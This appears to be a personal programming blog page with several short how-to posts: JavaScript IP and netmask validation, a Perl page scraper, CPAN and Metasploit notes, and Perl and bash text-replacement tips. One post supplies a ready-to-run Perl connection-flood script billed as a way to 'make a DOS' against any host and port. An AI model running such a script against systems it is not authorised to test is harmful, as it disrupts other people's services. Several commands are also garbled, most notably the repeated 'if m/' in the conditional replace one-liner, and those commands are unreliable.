I have written this javascript function to validate an IP address (IPv4) and the netmask inside a html form:
function checkip() {
var ipaddress = document.getElementById("ip").value;
var subnet = document.getElementById("netmask").value;
var patt = /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
var match = ipaddress.match(patt);
var match2 = subnet.match(patt);
if (ipaddress == "0.0.0.0") {
alert ("The IP Address field cannot be 0.0.0.0");
return false;
}
if (ipaddress == "255.255.255.255") {
alert ("The IP Address field cannot be 255.255.255.255");
return false;
}
if (match == null) {
alert ("Please review your IP Adrress!");
return false;
}
if (match2 == null) {
alert ("Please review your Subnet Mask!");
return false;
}
else {
document.getElementById("form1").submit();
window.close();
}
}
Validate/match IP address into a web form with Javascript
0 commenti Filed Under: Javascript
Perl - How to make a DOS
The purpose of this simple perl script is to test an application to understand if it is vulnerable at DOS (Denial of Service) attacks.
You can specify the TCP/IP number port, the ip address and the number of connections which you want send to your applications.
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 1) {
usage();
}
$ip = $ARGV[0];
$port = $ARGV[1];
$conn = $ARGV[2];
$num = 0;
print "I'm sending $ARGV[2] connection requests to port $ARGV[1]\n";
while ( $num <= $conn ) {
system("echo -n .");
$s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
close($s);
$num++;
}
print "\n Your $ARGV[2] connection requests have been done !\n";
sub usage() {
print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
print "[-] Example: ". $0 ." 127.0.0.1 21 1200\n";
exit;
}
0 commenti Filed Under: Perl
Perl - How to Parse a web page
The following simple perl script allows to automatically search some text, like html link, into a web page:
#!/usr/bin/perl -w
use strict;
#this module allows to delete duplicate entries
use List::MoreUtils qw(uniq);
# this is the module tointeract with web page
use LWP::Simple;
#variables declaration
my @match;
my @match_uniq;
my $file = <your temp file>";
#I'm used the "get" method of LWP::Simple module
my $webpage = get("http://<your url>);
#write my web page into the file
open WH, "> $file" or die $!;
print WH $webpage;
close WH;
#put the file into a array to manipulate it
open RH, "< $file" or die $!;
my @file = <RH>;
close RH;
#search server name and push them into array @match
foreach (@file) {
if (/https?:\/\/(\w+\.\w+\.\w+)/) {
push (@match, $1);
}
}
#remove duplicate entries
@match_uniq= uniq(@match);
#strip out "www."
foreach (@match_uniq) {
s/www\.//g;
}
foreach (@match_uniq) {
print "$_\n";
}
0 commenti Filed Under: Perl
Perl - Shell Subroutine
The simplest and quickest method to install a CPAN module is to use the perl shell subroutine.
To run the shell subroutine from command-line, use:
# perl -MCPAN -e shell
This command runs Perl, loads the "CPAN" module into memory and runs the shell soubroutine.
So to install, for example, the WWW::Mechanize module you have to simply execute:
cpan> install WWW::Mechanize
and the shell subroutine will connect to the internet cpan website and will download and automatically install your module.
0 commenti Filed Under: Perl
Metasploit - Autopwn module
Metasploit is a exploit framework (there are both open-source and commercial projects) used to developing, testing and using exploit code.
The simplest method to use Metasploit framework in a penetration test is to use the "db_autopown" module which is has been added from the release 3.0.
The "db_autopwn" uses allows to use Nmap to scan your target, to store your results into a Postgres database and to automatically execute relevant exploits against your target machine(s).
In the next post I will show you how use this fantastic Metasploit module.
0 commenti Filed Under: Metasploit
Linux - Rename files
How to rename recursively files in all the filesystem
The simplest method that I have found to rename recursively a group of file is to use the "rename" linux bash command with a simple perl regular expression.
To rename all the file with extension containing the word "foo" I can use the following command:
$ rename s/foo/dog/ *foo*
To rename all the files with ".txt" extension you only need to specify *.txt instead of *foo*, as shown in the following example:
$ rename s/foo/dog/ *.txt
The real problem occurs when you want to change recursively the file name into multiple directory and sub directory.
I usually use this simple bash script to accomplish this task:
- "rename" command rename all file matching a rule (2th argument) into the current directory
- "rename" 2th argument is the file typology and not a directory
Enjoy your Linux!
0 commenti Filed Under: Linux bash
Perl hacks
How to replace recursively a word into a file
One of the most frequent task of a linux engineer is to manipulate words within files. Many times this task can be accomplished with linux basic tools like sed, awk, grep using obviously pipe ('|') to correlate them.
But suppose that you would like to replace recursively one, all or some occurrences of a word into a file without modify the rest of file but only replacing the chosen word(s) and also you want to do this task at command line without use a dedicated script?
The answer is: "You can use Perl!"
Suppose you want replace all the occurrences of the word 'foo' with the word 'dog' within the file 'foo.txt' . You can write at command line:
$ perl -p -i -e "s/foo/dog/g" foo.txt
-p: is like the cycle while(<>){....} to read a file line to line.
-i: without this option the command redirect his output to terminal. With this options the stdout is redirected to our file.
-e: is the option to specify a command
Simple, not?
Obviously if you want to replace only the first occurrence of 'foo' you need to delete '\g' from the 's///' operator.
The problem is: "ok, I'm able to replace one or all the occurrences of a word, but I would like to replace only some of them, when a particular condition is verified".
The answer is: "don't worry friend, you need only to use the 'm//' operator and a simple if condition within the perl command. Suppose the the condition is the presence of word 'animal'. The command will be:
$ perl -p -i -e "s/foo/dog/g if m/ if m/animal/" foo.txt
To use this command to replace one, some or all the occurrences of a word in many files you can use simply this cycle:
for file in $(find /...); do $ perl -p -i -e "s/foo/dog/g if m/ if m/animal/" $file; done
Enjoy this command!
0 commenti Filed Under: Linux bash, Perl